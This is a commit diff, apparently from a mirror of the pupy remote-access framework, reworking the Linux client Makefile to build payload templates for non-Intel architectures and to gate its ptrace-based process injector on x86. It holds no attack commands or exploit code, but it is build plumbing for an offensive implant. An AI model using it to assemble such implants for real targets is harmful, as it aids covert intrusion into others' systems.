mirror of https://github.com/n1nj4sec/pupy.git
client/linux: rework Makefile to support non-intel things
This commit is contained in:
parent
ab12976878
commit
afbc4dd35b
|
@ -1,6 +1,7 @@
|
||||||
CC ?= gcc
|
CC ?= gcc
|
||||||
|
|
||||||
OS ?= $(shell uname -s)
|
OS ?= $(shell uname -s)
|
||||||
|
MACH ?= $(shell uname -m)
|
||||||
SUFFIX ?= $(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]')
|
SUFFIX ?= $(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]')
|
||||||
|
|
||||||
STATIC_LIBZ := -Wl,-Bstatic -lz -Wl,-Bdynamic
|
STATIC_LIBZ := -Wl,-Bstatic -lz -Wl,-Bdynamic
|
||||||
|
@ -33,6 +34,10 @@ endif
|
||||||
|
|
||||||
XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")'
|
XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")'
|
||||||
|
|
||||||
|
# Compatibility for old well-known platforms
|
||||||
|
ifneq ($(filter $(MACH), x86_64 i386 i486 i586 i686),)
|
||||||
|
MACHNAME :=
|
||||||
|
|
||||||
ifeq ($(ARCH),)
|
ifeq ($(ARCH),)
|
||||||
ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64)
|
ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64)
|
||||||
endif
|
endif
|
||||||
|
@ -48,7 +53,14 @@ NAME := 86
|
||||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||||
endif
|
endif
|
||||||
|
|
||||||
CFLAGS += -Iresources/$(ARCH) -Iresources
|
NAME := x$(NAME)
|
||||||
|
|
||||||
|
else
|
||||||
|
NAME ?= $(MACH)
|
||||||
|
FEATURE_INJECTOR :=
|
||||||
|
endif
|
||||||
|
|
||||||
|
CFLAGS += -Iresources/$(MACH) -Iresources
|
||||||
|
|
||||||
LINUX_INJECT_CFLAGS := -include fixes.h -Iinjector/src/linux
|
LINUX_INJECT_CFLAGS := -include fixes.h -Iinjector/src/linux
|
||||||
|
|
||||||
|
@ -56,8 +68,9 @@ ifneq ($(DEBUG),)
|
||||||
DEBUG_ADD := -debug
|
DEBUG_ADD := -debug
|
||||||
CFLAGS += -DDEBUG -O0 -g
|
CFLAGS += -DDEBUG -O0 -g
|
||||||
LDFLAGS += -g
|
LDFLAGS += -g
|
||||||
NAME := "$(NAME)d"
|
NAME := $(NAME)d
|
||||||
DEBUG_OBJS := debug.o
|
DEBUG_OBJS := debug.o
|
||||||
|
$(info BUILD debug with name $(NAME))
|
||||||
else
|
else
|
||||||
DEBUG_OBJS :=
|
DEBUG_OBJS :=
|
||||||
CFLAGS += -Os
|
CFLAGS += -Os
|
||||||
|
@ -67,6 +80,11 @@ LDFLAGS += -Wl,-z,now -Wl,-z,combreloc -Wl,--enable-new-dtags
|
||||||
else
|
else
|
||||||
LDFLAGS += -s
|
LDFLAGS += -s
|
||||||
endif
|
endif
|
||||||
|
$(info BUILD non-debug with name $(NAME))
|
||||||
|
endif
|
||||||
|
|
||||||
|
ifneq ($(DEBUG_USE_OS_PYTHON),)
|
||||||
|
CFLAGS += -DDEBUG_USE_OS_PYTHON
|
||||||
endif
|
endif
|
||||||
|
|
||||||
PYTHON ?= python
|
PYTHON ?= python
|
||||||
|
@ -77,9 +95,9 @@ SHARED_CFLAGS := -D_PUPY_SO
|
||||||
APP_OBJS := main_exe.o pupy.o tmplibrary.o pupy_load.o
|
APP_OBJS := main_exe.o pupy.o tmplibrary.o pupy_load.o
|
||||||
COMMON_OBJS := daemonize.o decompress.o
|
COMMON_OBJS := daemonize.o decompress.o
|
||||||
LOAD_DEPS := \
|
LOAD_DEPS := \
|
||||||
resources/$(ARCH)/libssl.c resources/$(ARCH)/libcrypto.c \
|
resources/$(MACH)/libssl.c resources/$(MACH)/libcrypto.c \
|
||||||
resources/$(ARCH)/python27.c \
|
resources/$(MACH)/python27.c \
|
||||||
resources/$(ARCH)/library.c \
|
resources/$(MACH)/library.c \
|
||||||
../common/Python-dynload.c ../common/Python-dynload.h \
|
../common/Python-dynload.c ../common/Python-dynload.h \
|
||||||
../common/Python-dynload.c ../common/Python-dynload.h \
|
../common/Python-dynload.c ../common/Python-dynload.h \
|
||||||
../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \
|
../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \
|
||||||
|
@ -111,7 +129,7 @@ SUFFIX := unc.$(SUFFIX)
|
||||||
COMPRESSED = 0
|
COMPRESSED = 0
|
||||||
endif
|
endif
|
||||||
|
|
||||||
ifeq ($(OS),Linux)
|
ifneq ($(FEATURE_INJECTOR),)
|
||||||
COMMON_OBJS += injector/src/linux/elf.o
|
COMMON_OBJS += injector/src/linux/elf.o
|
||||||
COMMON_OBJS += injector/src/linux/injector.o
|
COMMON_OBJS += injector/src/linux/injector.o
|
||||||
COMMON_OBJS += injector/src/linux/ptrace.o
|
COMMON_OBJS += injector/src/linux/ptrace.o
|
||||||
|
@ -119,11 +137,11 @@ COMMON_OBJS += injector/src/linux/remote_call.o
|
||||||
COMMON_OBJS += injector/src/linux/util.o
|
COMMON_OBJS += injector/src/linux/util.o
|
||||||
COMMON_OBJS += fixes.o
|
COMMON_OBJS += fixes.o
|
||||||
|
|
||||||
CFLAGS += -Iinjector/include
|
CFLAGS += -D_FEATURE_INJECTOR -Iinjector/include
|
||||||
LDFLAGS += -Wl,-wrap,realpath
|
LDFLAGS += -Wl,-wrap,realpath
|
||||||
endif
|
endif
|
||||||
|
|
||||||
all: $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so
|
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME).$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME).$(SUFFIX).so
|
||||||
|
|
||||||
revision.h:
|
revision.h:
|
||||||
if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \
|
if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \
|
||||||
|
@ -156,11 +174,11 @@ LzmaDec.o: ../common/LzmaDec.c
|
||||||
$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
|
$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
|
||||||
endif
|
endif
|
||||||
|
|
||||||
resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip
|
resources/$(MACH)/library.txt: ../gen_library_compressed_string.py resources/$(MACH)/library.zip
|
||||||
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip
|
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(MACH)/library.zip
|
||||||
|
|
||||||
resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
|
resources/$(MACH)/library.c: ../gen_resource_header.py resources/$(MACH)/library.txt resources/$(MACH)/library.zip
|
||||||
$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(XZARGS)
|
$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(MACH)/library.txt $@ $(COMPRESSED) $(XZARGS)
|
||||||
|
|
||||||
ld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS)
|
ld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS)
|
||||||
$(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \
|
$(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \
|
||||||
|
@ -174,49 +192,49 @@ ld_hooks_$(NAME).c: ../gen_resource_header.py ld_hooks_$(NAME).so
|
||||||
injector/%.o: injector/%.c
|
injector/%.o: injector/%.c
|
||||||
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
|
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
resources/$(ARCH)/python27.so: $(LIBPYTHON)
|
resources/$(MACH)/python27.so: $(LIBPYTHON)
|
||||||
@mkdir -p resources/$(ARCH)
|
@mkdir -p resources/$(MACH)
|
||||||
cp -f $< $@.tmp
|
cp -f $< $@.tmp
|
||||||
-chmod 600 $@.tmp
|
-chmod 600 $@.tmp
|
||||||
-strip $@.tmp
|
-strip $@.tmp
|
||||||
sed $@.tmp -e 's@/tmp@\x00tmp@g;s@/usr@\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ )
|
sed $@.tmp -e 's@/tmp@\x00tmp@g;s@/usr@\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ )
|
||||||
rm -f $@.tmp
|
rm -f $@.tmp
|
||||||
|
|
||||||
resources/$(ARCH)/libcrypto.so: $(LIBCRYPTO)
|
resources/$(MACH)/libcrypto.so: $(LIBCRYPTO)
|
||||||
@mkdir -p resources/$(ARCH)
|
@mkdir -p resources/$(MACH)
|
||||||
cp -f $< $@.tmp
|
cp -f $< $@.tmp
|
||||||
-chmod 600 $@.tmp
|
-chmod 600 $@.tmp
|
||||||
-strip $@.tmp
|
-strip $@.tmp
|
||||||
mv $@.tmp $@
|
mv $@.tmp $@
|
||||||
rm -f $@.tmp
|
rm -f $@.tmp
|
||||||
|
|
||||||
resources/$(ARCH)/libssl.so: $(LIBSSL)
|
resources/$(MACH)/libssl.so: $(LIBSSL)
|
||||||
@mkdir -p resources/$(ARCH)
|
@mkdir -p resources/$(MACH)
|
||||||
cp -f $< $@.tmp
|
cp -f $< $@.tmp
|
||||||
-chmod 600 $@.tmp
|
-chmod 600 $@.tmp
|
||||||
-strip $@.tmp
|
-strip $@.tmp
|
||||||
mv $@.tmp $@
|
mv $@.tmp $@
|
||||||
rm -f $@.tmp
|
rm -f $@.tmp
|
||||||
|
|
||||||
resources/$(ARCH)/library.zip: ../build_library_zip.py ../additional_imports.py
|
resources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py
|
||||||
$(PYTHON) -OO $(PFLAGS) $< $@
|
$(PYTHON) -OO $(PFLAGS) $< $@
|
||||||
|
|
||||||
resources/$(ARCH)/python27.c: ../gen_resource_header.py resources/$(ARCH)/python27.so
|
resources/$(MACH)/python27.c: ../gen_resource_header.py resources/$(MACH)/python27.so
|
||||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||||
|
|
||||||
resources/$(ARCH)/libssl.c: ../gen_resource_header.py resources/$(ARCH)/libssl.so
|
resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so
|
||||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||||
|
|
||||||
resources/$(ARCH)/libcrypto.c: ../gen_resource_header.py resources/$(ARCH)/libcrypto.so
|
resources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so
|
||||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||||
|
|
||||||
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)
|
$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME).$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)
|
||||||
$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \
|
$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \
|
||||||
-Wl,--version-script=pupy.ldscript \
|
-Wl,--version-script=pupy.ldscript \
|
||||||
-Wl,--export-dynamic
|
-Wl,--export-dynamic
|
||||||
|
|
||||||
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)
|
$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME).$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)
|
||||||
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).$(SUFFIX).so \
|
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME).$(SUFFIX).so \
|
||||||
-Wl,--version-script=pupy.so.ldscript
|
-Wl,--version-script=pupy.so.ldscript
|
||||||
|
|
||||||
.PHONY: clean all
|
.PHONY: clean all
|
||||||
|
@ -228,7 +246,7 @@ clean:
|
||||||
|
|
||||||
distclean: clean
|
distclean: clean
|
||||||
rm -f resources/*.c
|
rm -f resources/*.c
|
||||||
rm -f resources/$(ARCH)/*.c
|
rm -f resources/$(MACH)/*.c
|
||||||
rm -f ld_hooks_$(NAME).c
|
rm -f ld_hooks_$(NAME).c
|
||||||
rm -f ld_hooks_$(NAME).so
|
rm -f ld_hooks_$(NAME).so
|
||||||
rm -f import-tab.c
|
rm -f import-tab.c
|
||||||
|
|
Loading…
Reference in New Issue